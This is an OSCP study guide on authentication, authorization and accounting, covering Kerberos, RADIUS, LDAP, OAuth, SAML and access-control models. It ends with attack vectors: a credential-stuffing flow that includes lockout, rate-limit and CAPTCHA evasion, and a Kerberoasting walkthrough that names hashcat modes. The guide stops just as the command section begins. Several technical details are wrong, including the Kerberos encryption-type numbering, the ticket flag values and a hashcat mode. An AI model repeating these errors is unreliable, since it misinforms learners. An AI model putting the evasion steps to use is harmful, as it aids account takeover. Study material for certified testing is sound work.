AAA Framework
Table of Contents
- Core Concepts
- Authentication Deep Dive
- Authorization Models
- Accounting
- OSCP Exam Relevance
- Attack Vectors
- Practical Examples
- Lab Exercises
- Key Tools
- Exam Tips
- Cross-References
1. Core Concepts
The AAA Framework (Authentication, Authorization, Accounting) is the foundational triad of access control in information security. It forms the backbone of identity and access management (IAM) systems across all enterprise environments.
1.1 Authentication — “Who are you?”
Definition: The process of verifying the identity of a user, process, or device. Authentication answers the question: “Are you who you claim to be?”
Key Characteristics:
- Identity Assertion: The entity claims an identity (e.g., username
admin) - Credential Presentation: The entity provides evidence (password, token, biometric)
- Verification: The system validates the evidence against stored credentials
- Session Establishment: Upon success, a session/context is created
Authentication vs. Identification:
| Aspect | Identification | Authentication |
|---|---|---|
| Purpose | Claim an identity | Prove the claimed identity |
| Example | “I am user admin” |
Providing password for admin |
| Order | First step | Second step |
1.2 Authorization — “What can you do?”
Definition: The process of determining what resources, operations, or actions an authenticated entity is permitted to access or perform.
Key Characteristics:
- Policy Enforcement: Rules define what each identity can/cannot do
- Granularity: Can range from coarse (all-or-nothing) to fine-grained (per-object, per-attribute)
- Dynamic: Can change based on context (time, location, role)
1.3 Accounting (Auditing) — “What did you do?”
Definition: The tracking and recording of user activities, resource usage, and system events for audit, billing, and forensic purposes.
Key Characteristics:
- Logging: Recording authentication events, access attempts, and actions
- Non-repudiation: Providing evidence that an action was performed by a specific entity
- Compliance: Meeting regulatory requirements (PCI-DSS, HIPAA, SOX)
1.4 The AAA Flow
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ AUTHENTICATE│ │ AUTHORIZE │ │ ACCOUNT │
│ (Who?) │────▶│ (What?) │────▶│ (What did) │
│ │ │ │ │ you do?) │
└─────────────┘ └─────────────┘ └─────────────┘
│ │ │
▼ ▼ ▼
Identity Verified Access Granted/ Activity Logged
Credentials Validated Denied Audit Trail
2. Authentication Deep Dive
2.1 Authentication Factors
Authentication relies on one or more factors to verify identity. Multi-Factor Authentication (MFA) combines two or more factors.
| Factor Category | Description | Examples | Strength |
|---|---|---|---|
| Something you KNOW | Knowledge-based secret | Passwords, PINs, security questions | Weak (phishing, brute-force) |
| Something you HAVE | Possession-based token | Smart cards, OTP tokens, phones, YubiKey | Medium (can be stolen/lost) |
| Something you ARE | Inherent biometric trait | Fingerprint, iris scan, facial recognition | Strong (hard to replicate) |
| Somewhere you ARE | Location-based | GPS location, network zone, IP range | Contextual (supplementary) |
| Something you DO | Behavioral pattern | Typing rhythm, voice pattern, gait | Emerging (behavioral biometrics) |
Factor Strength Comparison
Single Factor (Password only): ████████░░ 8/10 risk of compromise
Two-Factor (Password + OTP): ████░░░░░░ 4/10 risk of compromise
Three-Factor (All three): ██░░░░░░░░ 2/10 risk of compromise
2.2 Authentication Protocols
2.2.1 RADIUS (Remote Authentication Dial-In User Service)
Overview:
- Defined in RFC 2865 (Authentication) and RFC 2866 (Accounting)
- UDP-based (ports 1812 for auth, 1813 for accounting; legacy 1645/1646)
- Uses shared secret between NAS (Network Access Server) and RADIUS server
- Provides combined Authentication and Accounting (AA) — no native Authorization beyond basic VLAN assignment
Protocol Flow:
Client (NAS) RADIUS Server
│ │
│──── Access-Request ───────────▶│ (User credentials encrypted)
│ │ Shared secret encrypts User-Password
│ │
│◀── Access-Accept ──────────────│ (with VLAN, filters, etc.)
│ OR │
│◀── Access-Reject ──────────────│
│ │
│◀── Access-Challenge ───────────│ (for EAP, multi-round)
│──── Access-Request ───────────▶│ (with challenge response)
│ │
Key Attributes:
| Attribute | Code | Description |
|---|---|---|
| User-Name | 1 | Username string |
| User-Password | 2 | Password (MD5 hashed with shared secret + request authenticator) |
| NAS-IP-Address | 4 | IP of the requesting NAS |
| NAS-Port | 5 | Physical/virtual port on NAS |
| Framed-IP-Address | 8 | Assigned IP for dial-in user |
| Filter-Id | 11 | Downloadable ACL name |
| Session-Timeout | 27 | Max session duration |
| EAP-Message | 79 | EAP payload for 802.1X |
Vulnerabilities:
- Weak shared secrets: If the NAS-server shared secret is weak, offline dictionary attacks are possible
- UDP-based: No guaranteed delivery, susceptible to spoofing
- Limited encryption: Only the User-Password attribute is encrypted; other attributes travel in cleartext
- No mutual authentication: Client cannot verify server identity (mitigated with EAP-TLS)
2.2.2 TACACS+ (Terminal Access Controller Access-Control System Plus)
Overview:
- Cisco proprietary protocol (not standardized in RFC)
- TCP-based (port 49)
- Separates AAA into three independent functions (true AAA)
- Encrypts the entire packet payload (not just the password)
RADIUS vs. TACACS+ Comparison:
| Feature | RADIUS | TACACS+ |
|---|---|---|
| Protocol | UDP 1812/1813 | TCP 49 |
| Encryption | Password only | Entire payload |
| AAA Separation | Combined Auth + Authz | Fully separated |
| Vendor | Open (IETF) | Cisco proprietary |
| Use Case | Network access (Wi-Fi, VPN) | Device admin (router/switch CLI) |
| Redundancy | Limited | Built-in session support |
| Stateful | No | Yes |
TACACS+ Packet Structure:
┌──────────┬──────────┬──────────┬──────────────────────┐
│ Version │ Type │ Seq No │ Flags │
│ (1 byte) │ (1 byte) │ (1 byte) │ (1 byte) │
├──────────┴──────────┴──────────┴──────────────────────┤
│ Packet Body (encrypted) │
│ ┌──────────────────────────────────────────────────┐ │
│ │ User Data (username, password, command, etc.) │ │
│ └──────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────────┘
2.2.3 Kerberos — Deep Dive
Overview:
- Network authentication protocol defined in RFC 4120
- Developed at MIT, now the default authentication protocol for Windows Active Directory
- Uses symmetric key cryptography and a trusted third party (Key Distribution Center — KDC)
- Operates on TCP/UDP port 88
Why Kerberos?:
- Eliminates password transmission over the network
- Provides mutual authentication (client authenticates to server, server authenticates to client)
- Supports delegation (constrained and unconstrained)
- Single Sign-On (SSO) capability
Kerberos Architecture:
┌─────────────────────────────────────────────────────────────┐
│ Kerberos Realm │
│ │
│ ┌──────────┐ ┌──────────────────┐ ┌──────────────┐ │
│ │ Client │ │ KDC │ │ Service │ │
│ │ (spn/ │ │ ┌────────────┐ │ │ (spn/ │ │
│ │ keytab) │ │ │ AS │ │ │ keytab) │ │
│ │ │ │ │ (Auth Svc) │ │ │ │ │
│ │ │◀──▶│ ├────────────┤ │◀──▶│ │ │
│ │ │ │ │ TGS │ │ │ │ │
│ │ │ │ │ (Ticket- │ │ │ │ │
│ │ │ │ │ Grant Svc)│ │ │ │ │
│ │ │ │ └────────────┘ │ │ │ │
│ └──────────┘ └──────────────────┘ └──────────────┘ │
│ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ Database (krb5.keytab / AD DS) │ │
│ │ Contains: All principal names + encrypted keys │ │
│ └──────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Key Terminology:
| Term | Description |
|---|---|
| Principal | A unique identity (user, service, or host) in the Kerberos realm |
| Realm | The administrative jurisdiction of a KDC (e.g., EXAMPLE.COM) |
| SPN | Service Principal Name — unique identifier for a service instance (e.g., HTTP/webserver.example.com) |
| TGT | Ticket-Granting Ticket — obtained from AS, used to request service tickets from TGS |
| TGS | Ticket-Granting Service — issues service tickets upon presentation of a valid TGT |
| KDC | Key Distribution Center — comprises AS and TGS |
| Keytab | File containing principal names and encrypted keys (avoids interactive password entry) |
| Session Key | Ephemeral symmetric key used to encrypt communication between two parties |
Kerberos Authentication Flow (Full Sequence):
Step 1: AS-REQ / AS-REP (Get TGT)
────────────────────────────────────
Client KDC (AS)
│ │
│ AS-REQ: │
│ - Client principal │
│ - Realm │
│ - Timestamp │
│ - Encryption types requested│
│──────────────────────────────▶│
│ │
│ │ KDC looks up client in DB
│ │ Derives key from password
│ │ Verifies timestamp (±5 min)
│ │
│ AS-REP: │
│ - TGT (encrypted with │
│ TGS's key) │
│ - Session key (encrypted │
│ with client's key) │
│◀──────────────────────────────│
Step 2: TGS-REQ / TGS-REP (Get Service Ticket)
────────────────────────────────────────────────
Client KDC (TGS) Service
│ │ │
│ TGS-REQ: │ │
│ - TGT (encrypted with │ │
│ TGS's key) │ │
│ - Authenticator (encrypted │ │
│ with session key from │ │
│ AS-REP) │ │
│ - Service principal (SPN) │ │
│──────────────────────────────▶│ │
│ │ │
│ │ Decrypts TGT with TGS key│
│ │ Extracts session key │
│ │ Validates authenticator │
│ │ Issues service ticket │
│ │ │
│ TGS-REP: │ │
│ - Service ticket (encrypted │ │
│ with service's key) │ │
│ - Session key (encrypted │ │
│ with client's session key)│ │
│◀──────────────────────────────│ │
│ │ │
│ Service Request: │ │
│ - Service ticket │ │
│ - Authenticator (encrypted │ │
│ with new session key) │ │
│──────────────────────────────────────────────────────────▶│
│ │
│ Service Response: │
│ - Server's proof (encrypted │
│ with session key) │
│◀──────────────────────────────────────────────────────────│
Detailed Packet Analysis:
AS-REQ Structure:
AS-REQ {
pvno: 5 // Protocol version
msg-type: 10 // AS-REQ message type
padata: [ // Pre-authentication data
{
patype: 11 // PA-ETYPE-INFO2
pa-data: [aes256-cts-hmac-sha1-96, aes128-cts-hmac-sha1-96]
},
{
patype: 2 // PA-PK-AS-REQ (optional, for PKINIT)
}
]
req-body: {
sname: { // Server name (TGS principal)
name-type: 1 // NT-PRINCIPAL
name-string: ["krbtgt", "EXAMPLE.COM"]
}
cname: { // Client name
name-type: 1
name-string: ["jdoe", "EXAMPLE.COM"]
}
realm: "EXAMPLE.COM"
sname: "krbtgt/EXAMPLE.COM@EXAMPLE.COM"
till: 2026-09-01T12:00:00Z // Desired ticket lifetime
rtime: 0 // Renewal timestamp
nonce: 1234567890 // Random number
etype: [18, 17, 16, 23] // Encryption types (AES256, AES128, etc.)
addresses: [...] // Client addresses
enc-authorization-data: ... // Encrypted authorization data
}
}
AS-REP Structure:
AS-REP {
pvno: 5
msg-type: 11 // AS-REP message type
padata: [
{
patype: 11 // PA-ETYPE-INFO2
pa-data: [18, 17] // Encryption types supported
}
]
crealm: "EXAMPLE.COM"
cname: {
name-type: 1
name-string: ["jdoe", "EXAMPLE.COM"]
}
key: {
keytype: 18 // aes256-cts-hmac-sha1-96
keyvalue: <encrypted with client's key>
}
ticket: { // The TGT
tkt-vno: 5
realm: "EXAMPLE.COM"
sname: {
name-type: 1
name-string: ["krbtgt", "EXAMPLE.COM"]
}
enc-part: { // Encrypted with TGS's key
key: { // Session key for client↔TGS
keytype: 18
keyvalue: <session-key>
}
cipher: <encrypted ticket contents>
}
}
enc-part: { // Encrypted with client's key
key: { // Same session key as in TGT
keytype: 18
keyvalue: <session-key>
}
cipher: {
ctime: 2026-09-01T10:00:00Z // Ticket issue time
crealm: "EXAMPLE.COM"
cname: ["jdoe", "EXAMPLE.COM"]
ticket-life: 8h // TGT lifetime
renew-till: 2026-09-08T10:00:00Z
flags: forwardable, renewable, initial
}
}
}
Kerberos Encryption Types:
| etype | Name | Description | Security Level |
|---|---|---|---|
| 23 | aes256-cts-hmac-sha1-96 | AES-256 | Strong (recommended) |
| 17 | aes128-cts-hmac-sha1-96 | AES-128 | Strong |
| 18 | aes256-cts-hmac-sha1-96 | AES-256 (RFC 8009) | Strong |
| 16 | aes128-cts-hmac-sha1-96 | AES-128 (RFC 8009) | Strong |
| 12 | arcfour-hmac-md5 | RC4 (MS) | Weak (deprecated) |
| 23 | rc4-hmac | RC4 | Weak (vulnerable to pass-the-hash) |
| 3 | des-cbc-md5 | DES | Broken (do not use) |
| 1 | des-cbc-crc | DES-CBC-CRC | Broken (do not use) |
Kerberos Ticket Flags:
| Flag | Value | Description |
|---|---|---|
| forwardable | 0x40 | Ticket can be forwarded to another TGS |
| forwarded | 0x80 | Ticket was forwarded |
| proxiable | 0x10 | Ticket can be used for delegation |
| proxy | 0x20 | Ticket is a proxy ticket |
| may-postdate | 0x04 | Ticket may be postdated |
| postdated | 0x02 | Ticket is postdated |
| renewable | 0x01 | Ticket can be renewed |
| initial | 0x08 | Ticket came from AS (not TGS) |
| pre-auth | 0x400000 | Pre-authentication was performed |
| hw-auth | 0x800000 | Hardware authentication was used |
Kerberos in Active Directory:
In Windows AD, Kerberos is tightly integrated:
- The Domain Controller acts as the KDC
- User passwords are hashed using NTLM (NT hash), and this hash serves as the Kerberos key derivation input
- The KDC derives the Kerberos key from the NT hash using a key derivation function
- SPNs are registered in AD for services (e.g.,
MSSQLSvc/dbserver.corp.local:1433) - Group Policy controls Kerberos behavior (max ticket lifetime, clock skew, etc.)
Default AD Kerberos Settings:
| Setting | Default Value |
|---|---|
| Max ticket lifetime | 10 hours |
| Max renewal lifetime | 365 days (1 year) |
| Max clock skew | 5 minutes |
| TGT lifetime | 10 hours |
2.2.4 LDAP / LDAPS
Overview:
- Lightweight Directory Access Protocol (RFC 4510-4519, 4511-4534)
- TCP port 389 (LDAP), 636 (LDAPS with TLS)
- Used for directory services (Active Directory, OpenLDAP, FreeIPA)
- Hierarchical data model (DIT — Directory Information Tree)
LDAP Distinguished Name (DN) Structure:
DN: CN=jdoe,OU=Users,OU=Engineering,DC=corp,DC=local
CN = Common Name (user/service)
OU = Organizational Unit (container)
DC = Domain Component (domain)
Common LDAP Operations:
| Operation | Description |
|---|---|
| Bind | Authenticate to the directory |
| Search | Query directory entries |
| Compare | Compare attribute values |
| Add | Create new entries |
| Delete | Remove entries |
| Modify | Change attribute values |
| ModifyDN | Rename/move entries |
LDAP Search Filter Syntax:
(objectClass=*) // All objects
(&(objectClass=user)(sAMAccountName=jdoe)) // AND
(|(department=IT)(department=HR)) // OR
(!(userAccountControl:1.2.840.113556.1.4.803:=2)) // NOT (not disabled)
(cn=*) // Wildcard
LDAPS vs. StartTLS:
| Feature | LDAPS (port 636) | StartTLS (port 389) |
|---|---|---|
| TLS | Implicit (always encrypted) | Explicit (upgrade plain connection) |
| Port | 636 | 389 |
| Compatibility | Older clients | Newer clients |
| Flexibility | Always encrypted | Can start plain, upgrade |
2.2.5 OAuth 2.0 / OpenID Connect (OIDC)
OAuth 2.0 Overview:
- Authorization framework (RFC 6749) — not an authentication protocol
- Enables delegated access without sharing credentials
- Four grant types: Authorization Code, Implicit, Client Credentials, Resource Owner Password Credentials
OAuth 2.0 Authorization Code Flow:
User-Agent Client App Authorization Server Resource Server
│ │ │ │
│── Redirect to Auth ──▶│ │ │
│ │── Authorization Request ──▶ │
│ │ │ │
│◀── Login Prompt ──────│◀─────────────────────────│ │
│ │ │ │
│── Credentials ───────▶│ │ │
│ │── Auth Request ──────────▶ │
│ │ │ │
│◀── Auth Code ─────────│◀── Authorization Code ───│ │
│ │ │ │
│ │── Token Request (code) ──▶ │
│ │ │ │
│ │◀── Access Token (+ ID) ──│ │
│ │ │ │
│ │── Access Token ──────────────────────────────────▶│
│ │ │ │
│◀── Protected Resource │◀─────────────────────────────────────────────────│
OpenID Connect (OIDC):
- Layer on top of OAuth 2.0 that adds authentication (RFC 6749 + OIDC Core)
- Introduces the ID Token (JWT format) containing user identity claims
- Standardizes the
/authorizeand/userinfoendpoints
ID Token Structure (JWT):
{
"header": {
"alg": "RS256",
"typ": "JWT",
"kid": "key-id-123"
},
"payload": {
"iss": "https://auth.example.com",
"sub": "user-12345",
"aud": "client-app-id",
"exp": 1725187200,
"iat": 1725183600,
"name": "John Doe",
"email": "jdoe@example.com"
}
}
2.2.6 SAML (Security Assertion Markup Language)
Overview:
- XML-based standard for exchanging authentication and authorization data
- Version 2.0 is the current standard (OASIS standard)
- Commonly used for enterprise SSO (Single Sign-On)
- Three roles: Identity Provider (IdP), Service Provider (SP), Principal (user)
SAML 2.0 Flow (Browser POST Binding):
Browser Service Provider (SP) Identity Provider (IdP)
│ │ │
│── Login Request ──────▶│ │
│ │── SAML AuthnRequest (XML) ──▶│
│ │ │
│◀── HTTP Redirect ──────│◀── HTTP 302 (SAML URL) ─────│
│ │ │
│── Login to IdP ────────│ │
│ │ │
│◀── SAML Response ──────│◀── POST (SAML Assertion) ───│
│ (signed XML) │ │
│ │ │
│── POST Assertion ─────▶│ │
│ │ Validates signature │
│ │ Extracts attributes │
│◀── Access Granted ─────│ │
SAML vs. OAuth/OIDC:
| Feature | SAML 2.0 | OAuth 2.0 / OIDC |
|---|---|---|
| Format | XML | JSON (JWT) |
| Primary Use | Enterprise SSO | API delegation + auth |
| Binding | HTTP POST/Redirect | Authorization Code flow |
| Token | SAML Assertion | Access Token + ID Token |
| Mobile-Friendly | No (XML heavy) | Yes (JSON lightweight) |
| Standardization | OASIS | IETF (RFC) |
3. Authorization Models
3.1 Discretionary Access Control (DAC)
Definition: The resource owner decides who can access the resource and what permissions they have.
Mechanism:
- Permissions are attached to objects (files, directories, registry keys)
- Owners can grant/revoke access to other users/groups
- Implemented via Access Control Lists (ACLs)
Windows DAC Example:
File: C:\Reports\Q4.xlsx
ACL Entries:
┌────────────────┬──────────┬────────────┬──────────────┐
│ Principal │ Type │ Permissions│ Inherited? │
├────────────────┼──────────┼────────────┼──────────────┤
│ BUILTIN\Admins │ Allow │ Full Control│ Yes │
│ DOMAIN\jdoe │ Allow │ Read │ No │
│ DOMAIN\jdoe │ Allow │ Write │ No │
│ DOMAIN\analysts│ Allow │ Read │ Yes │
│ DOMAIN\guest │ Deny │ Read │ No │
└────────────────┴──────────┴────────────┴──────────────┘
Linux DAC Example:
# File permissions: owner=rw-, group=r--, others=---
$ ls -la secret.doc
-rw-r----- 1 jdoe finance 4096 Sep 1 10:00 secret.doc
# ACL-based (POSIX ACLs)
$ getfacl secret.doc
# file: secret.doc
# owner: jdoe
# group: finance
user::rw-
user:analyst1:r--
group::r--
mask::rw-
other::---
Pros:
- Simple and flexible
- Owner has full control
- Easy to understand and implement
Cons:
- No centralized policy enforcement
- Permission creep over time
- Difficult to audit at scale
- Users can inadvertently grant excessive access
3.2 Mandatory Access Control (MAC)
Definition: Access decisions are made by a central authority based on security labels/classifications. Users cannot override these decisions.
Mechanism:
- Every subject (user/process) and object (file/resource) has a security label
- Labels consist of a classification level and categories
- Access is granted only if the subject’s clearance dominates the object’s classification
Bell-LaPadula Model (Confidentiality-focused):
Security Levels (Low to High):
Top Secret (TS)
│
Secret (S)
│
Confidential (C)
│
Unclassified (U)
Rules:
┌─────────────────────────────────────────────────┐
│ Simple Security Property (No Read Up): │
│ Subject can READ object ONLY if: │
│ Subject's clearance >= Object's classification│
│ │
│ *-Property (No Write Down): │
│ Subject can WRITE to object ONLY if: │
│ Subject's clearance <= Object's classification│
│ │
│ Discretionary Security Property: │
│ DAC rules must also be satisfied │
└─────────────────────────────────────────────────┘
Biba Model (Integrity-focused):
- Opposite of Bell-LaPadula
- No Read Down: Subject cannot read objects with lower integrity
- No Write Up: Subject cannot write to objects with higher integrity
Real-World MAC Implementations:
| Implementation | Platform | Description |
|---|---|---|
| SELinux | Linux | Security Enhanced Linux, policy-based MAC |
| AppArmor | Linux | Profile-based MAC, simpler than SELinux |
| Windows Mandatory Integrity Control | Windows | Low/Medium/High/System integrity levels |
| Trusted Solaris | Solaris | Multi-level security labels |
Windows Integrity Levels:
┌──────────────────────────────────────────────┐
│ System (Highest) │
│ └── Processes: svchost, lsass, services │
│ │
│ High │
│ └── Processes: Admin-run applications │
│ │
│ Medium (Default) │
│ └── Processes: Normal user applications │
│ │
│ Low │
│ └── Processes: Internet Explorer, browsers │
│ │
│ Untrusted (Lowest) │
│ └── Processes: Rarely used │
└──────────────────────────────────────────────┘
Rule: A process can ONLY write to objects with
equal or LOWER integrity level.
Pros:
- Strong security guarantees
- Centralized policy control
- Prevents privilege escalation
- Ideal for high-security environments
Cons:
- Complex to configure and manage
- Inflexible for end users
- Performance overhead
- Steep learning curve
3.3 Role-Based Access Control (RBAC)
Definition: Access is granted based on the roles assigned to users. Permissions are associated with roles, not individual users.
Model Components:
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Users │──────▶│ Roles │──────▶│Perms/ │
│ │ │ │ │Objects │
│ jdoe │ │ Admin │ │ /etc/shadow│
│ jsmith │ │ Developer│ │ /var/www │
│ bwilson │ │ Auditor │ │ /var/log │
└──────────┘ └──────────┘ └──────────┘
Relationships:
User → Role (Assignment)
Role → Permission (Authorization)
Role → Role (Hierarchy/Inheritance)
RBAC Models (NIST):
| Model | Description |
|---|---|
| RBAC0 (Flat) | Basic roles, no hierarchy |
| RBAC1 (Hierarchical) | Roles can inherit from other roles |
| RBAC2 (Constrained) | Adds constraints (separation of duty, cardinality) |
| RBAC3 (Complete) | Combines hierarchy + constraints |
RBAC Hierarchy Example:
[Super Admin]
│
┌────────────┼────────────┐
│ │ │
[Admin] [Manager] [Auditor]
│ │
┌──────┴──┐ ┌───┴────┐
│ │ │ │
[Dev] [Ops] [HR Mgr] [Fin Mgr]
Pros:
- Scalable for large organizations
- Easy to manage (assign roles, not individual permissions)
- Supports separation of duties
- Audit-friendly
Cons:
- Role explosion in complex environments
- Initial setup complexity
- May not fit all organizational structures
3.4 Attribute-Based Access Control (ABAC)
Definition: Access decisions are based on attributes of the subject, object, action, and environment. Policies evaluate these attributes dynamically.
Policy Structure:
IF (
Subject.Role == "Developer"
AND Subject.Department == "Engineering"
AND Object.Classification == "Internal"
AND Action == "Read"
AND Environment.Time BETWEEN 08:00 AND 18:00
AND Environment.Location == "Corporate Network"
)
THEN Allow
ELSE Deny
Attribute Categories:
| Category | Examples |
|---|---|
| Subject Attributes | Role, department, clearance level, employee ID |
| Object Attributes | Classification, owner, sensitivity label, data type |
| Action Attributes | Read, write, delete, execute, modify |
| Environment Attributes | Time, location, device type, network zone, risk score |
XACML (eXtensible Access Control Markup Language):
- OASIS standard for ABAC policy expression
- Uses XML to define policies, rules, and conditions
- Components: Policy Set → Policy → Rule → Target + Conditions + Obligations
XACML Policy Example:
<Policy xmlns="urn:oasis:names:tc:xacml:3.0:core:schema:wd-17"
PolicyId="EngineeringAccess"
RuleCombiningAlgId="deny-overrides">
<Target>
<Resources>
<Resource>
<ResourceMatch MatchId="string-equal">
<ResourceAttributeDesignator AttributeId="urn:oasis:names:tc:xacml:1.0:resource:classification"
DataType="string"/>
<AttributeValue DataType="string">Internal</AttributeValue>
</ResourceMatch>
</Resource>
</Resources>
</Target>
<Rule RuleId="EngineerReadAccess" Effect="Permit">
<Target>
<Subjects>
<Subject>
<SubjectMatch MatchId="string-equal">
<SubjectAttributeDesignator AttributeId="urn:oasis:names:tc:xacml:1.0:subject:role"
DataType="string"/>
<AttributeValue DataType="string">Developer</AttributeValue>
</SubjectMatch>
</Subject>
</Subjects>
<Actions>
<Action>
<ActionMatch MatchId="string-equal">
<ActionAttributeDesignator AttributeId="urn:oasis:names:tc:xacml:1.0:action:id"
DataType="string"/>
<AttributeValue DataType="string">Read</AttributeValue>
</ActionMatch>
</Action>
</Actions>
</Target>
</Rule>
</Policy>
Pros:
- Highly flexible and granular
- Context-aware decisions
- Dynamic policy evaluation
- Suitable for cloud and zero-trust architectures
Cons:
- Complex policy management
- Performance overhead (real-time evaluation)
- Requires policy decision point (PDP) infrastructure
- Difficult to debug and audit
3.5 Authorization Models Comparison
| Feature | DAC | MAC | RBAC | ABAC |
|---|---|---|---|---|
| Decision Basis | Owner discretion | Security labels | User roles | Attributes + context |
| Flexibility | High | Low | Medium | Very High |
| Complexity | Low | High | Medium | Very High |
| Scalability | Low | Medium | High | High |
| Central Control | No | Yes | Yes | Yes |
| Auditability | Poor | Good | Good | Excellent |
| Typical Use | File systems, personal devices | Military, government | Enterprise IT | Cloud, zero-trust |
| OSCP Relevance | Windows/Linux permissions | Windows integrity levels | AD groups, Linux sudo | Emerging (cloud IAM) |
4. Accounting
4.1 Purpose and Scope
Accounting (also called Auditing) tracks and records:
- Authentication events: Logins, logouts, failed attempts
- Authorization decisions: Access granted/denied
- Resource usage: Bandwidth, storage, compute time
- Administrative actions: Configuration changes, user modifications
- Security events: Policy violations, intrusion attempts
4.2 Logging Standards
| Standard | Description |
|---|---|
| Syslog (RFC 5424) | Standard logging protocol, UDP/TCP port 514 |
| Windows Event Log | Native Windows logging (Security, System, Application) |
| OSSEC / Wazuh | Host-based intrusion detection with log analysis |
| SIEM | Security Information and Event Management (Splunk, QRadar, ELK) |
4.3 Windows Security Event IDs
| Event ID | Description | OSCP Relevance |
|---|---|---|
| 4624 | Successful logon | Track lateral movement |
| 4625 | Failed logon | Detect brute-force |
| 4634 | Logoff | Session tracking |
| 4647 | User initiated logoff | |
| 4648 | Explicit credential logon | Detect RDP with alternate creds |
| 4672 | Special privileges assigned | Admin logon detection |
| 4720 | User account created | Persistence detection |
| 4728 | Member added to global group | Privilege escalation detection |
| 4768 | Kerberos TGT requested | Kerberos attack detection |
| 4769 | Kerberos service ticket requested | Kerberoasting detection |
| 4771 | Kerberos pre-auth failed | AS-REP Roasting detection |
| 4776 | NTLM authentication attempt | Pass-the-hash detection |
| 4688 | Process creation | Command execution tracking |
| 4690 | Restricted user logon |
4.4 Linux Audit Framework
# Install auditd
sudo apt install auditd audispd-plugins
# Monitor authentication events
sudo auditctl -w /var/log/auth.log -p wa -k auth_access
sudo auditctl -w /etc/passwd -p wa -k identity_change
sudo auditctl -w /etc/shadow -p wa -k shadow_change
sudo auditctl -w /etc/sudoers -p wa -k sudoers_change
# Monitor SUID/SGID changes
sudo auditctl -a always,exit -F arch=b64 -S chmod -F a1=04000 -k suid_change
sudo auditctl -a always,exit -F arch=b64 -S chown -k ownership_change
# View audit logs
sudo ausearch -k auth_access
sudo aureport --auth --summary
5. OSCP Exam Relevance
5.1 How AAA is Tested
The OSCP exam tests AAA knowledge through:
- Enumeration: Discovering authentication mechanisms, services, and protocols
- Exploitation: Breaking authentication (brute-force, credential attacks)
- Post-Exploitation: Using stolen credentials for lateral movement
- Active Directory: Kerberos attacks, LDAP enumeration, credential dumping
5.2 AAA-Related Exam Objectives
| Objective | Description | Frequency |
|---|---|---|
| Password Attacks | Brute-force, dictionary, credential stuffing | Very High |
| Service Enumeration | Identifying auth mechanisms (SSH, RDP, FTP, SMB) | Very High |
| Active Directory Attacks | Kerberos, LDAP, credential dumping | High (Windows boxes) |
| Web Application Auth | Session hijacking, CSRF, auth bypass | Medium |
| Privilege Escalation | Abusing misconfigured permissions | Very High |
5.3 Common AAA Misconfigurations in OSCP Labs
- Weak passwords on service accounts and user accounts
- Default credentials on services (admin/admin, root/toor)
- Unencrypted protocols (Telnet, FTP, HTTP) transmitting credentials in cleartext
- Kerberos vulnerabilities (AS-REP Roasting, Kerberoasting)
- LDAP misconfigurations (anonymous bind, weak credentials)
- Sudo misconfigurations (NOPASSWD, wildcard abuse)
- SSH key misconfigurations (world-readable keys, authorized_keys abuse)
- RDP with weak passwords (brute-force targets)
6. Attack Vectors
6.1 Brute Force Attacks
Concept: Systematically trying all possible credential combinations until valid credentials are found.
Types:
| Type | Description | Speed |
|---|---|---|
| Pure Brute Force | Try all possible combinations | Slowest |
| Dictionary Attack | Try words from a wordlist | Fast |
| Hybrid Attack | Dictionary + mutations (leet speak, numbers) | Medium |
| Credential Stuffing | Try known breached credential pairs | Fast |
| Rainbow Table | Precomputed hash tables | Fastest (if applicable) |
Wordlist Resources:
| Wordlist | Description | Size |
|---|---|---|
rockyou.txt |
Most common OSCP wordlist | ~14M passwords |
darkc0de.lst |
Extended wordlist | ~1.4B passwords |
secLists |
Curated security lists | Various |
crackstation.txt |
Unique cracked passwords | ~17M |
6.2 Credential Stuffing
Concept: Using large lists of username:password pairs from data breaches to attempt authentication against target systems.
Why it works:
- Users reuse passwords across multiple services
- Breached credentials remain valid for years
- Automated tools can test millions of combinations
Attack Flow:
1. Obtain breached credential database (dark web, leaks)
2. Format credentials for target service
3. Automate login attempts with:
- Rate limiting evasion (delays, proxies)
- CAPTCHA bypass (if applicable)
- Account lockout evasion
4. Harvest successful logins
5. Pivot to other services with same credentials
6.3 Kerberoasting — Detailed Walkthrough
Concept: Attacking service accounts in Active Directory by requesting and offline-cracking their Kerberos service tickets (TGS-REP).
Why it works:
- Any authenticated domain user can request a service ticket for any SPN
- The TGS-REP contains the service ticket encrypted with the service account’s password hash
- The attacker can capture this response and crack it offline
- No alerts are generated on the target (legitimate Kerberos traffic)
Prerequisites:
- Valid domain user account (even with minimal privileges)
- Service accounts with SPNs registered in AD
- The service account password must be crackable (weak/short)
Attack Flow:
┌─────────────────────────────────────────────────────────────────┐
│ Kerberoasting Attack Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: Enumerate SPNs │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Get all accounts with registered SPNs │ │
│ │ Filter out privileged accounts (krbtgt, etc.) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 2: Request Service Tickets │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ For each SPN, request a TGS ticket │ │
│ │ The TGS encrypts the ticket with the service account's │ │
│ │ password hash (RC4 or AES) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 3: Extract Tickets │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Extract the encrypted TGS-REP responses │ │
│ │ Save in hashcat-compatible format │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 4: Offline Cracking │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Use hashcat to crack the extracted hashes │ │
│ │ RC4: hashcat -m 13100 │ │
│ │ AES: hashcat -m 19600 (AES128) / -m 19601 (AES256) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 5: Use Cracked Credentials │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Use the cracked password to authenticate as the │ │
│ │ service account │ │
│ │ Service accounts often have elevated privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
Detailed Commands:
# Step 1: Enumerate SPNs using Impacket
# Method 1: GetUserSPNs.py
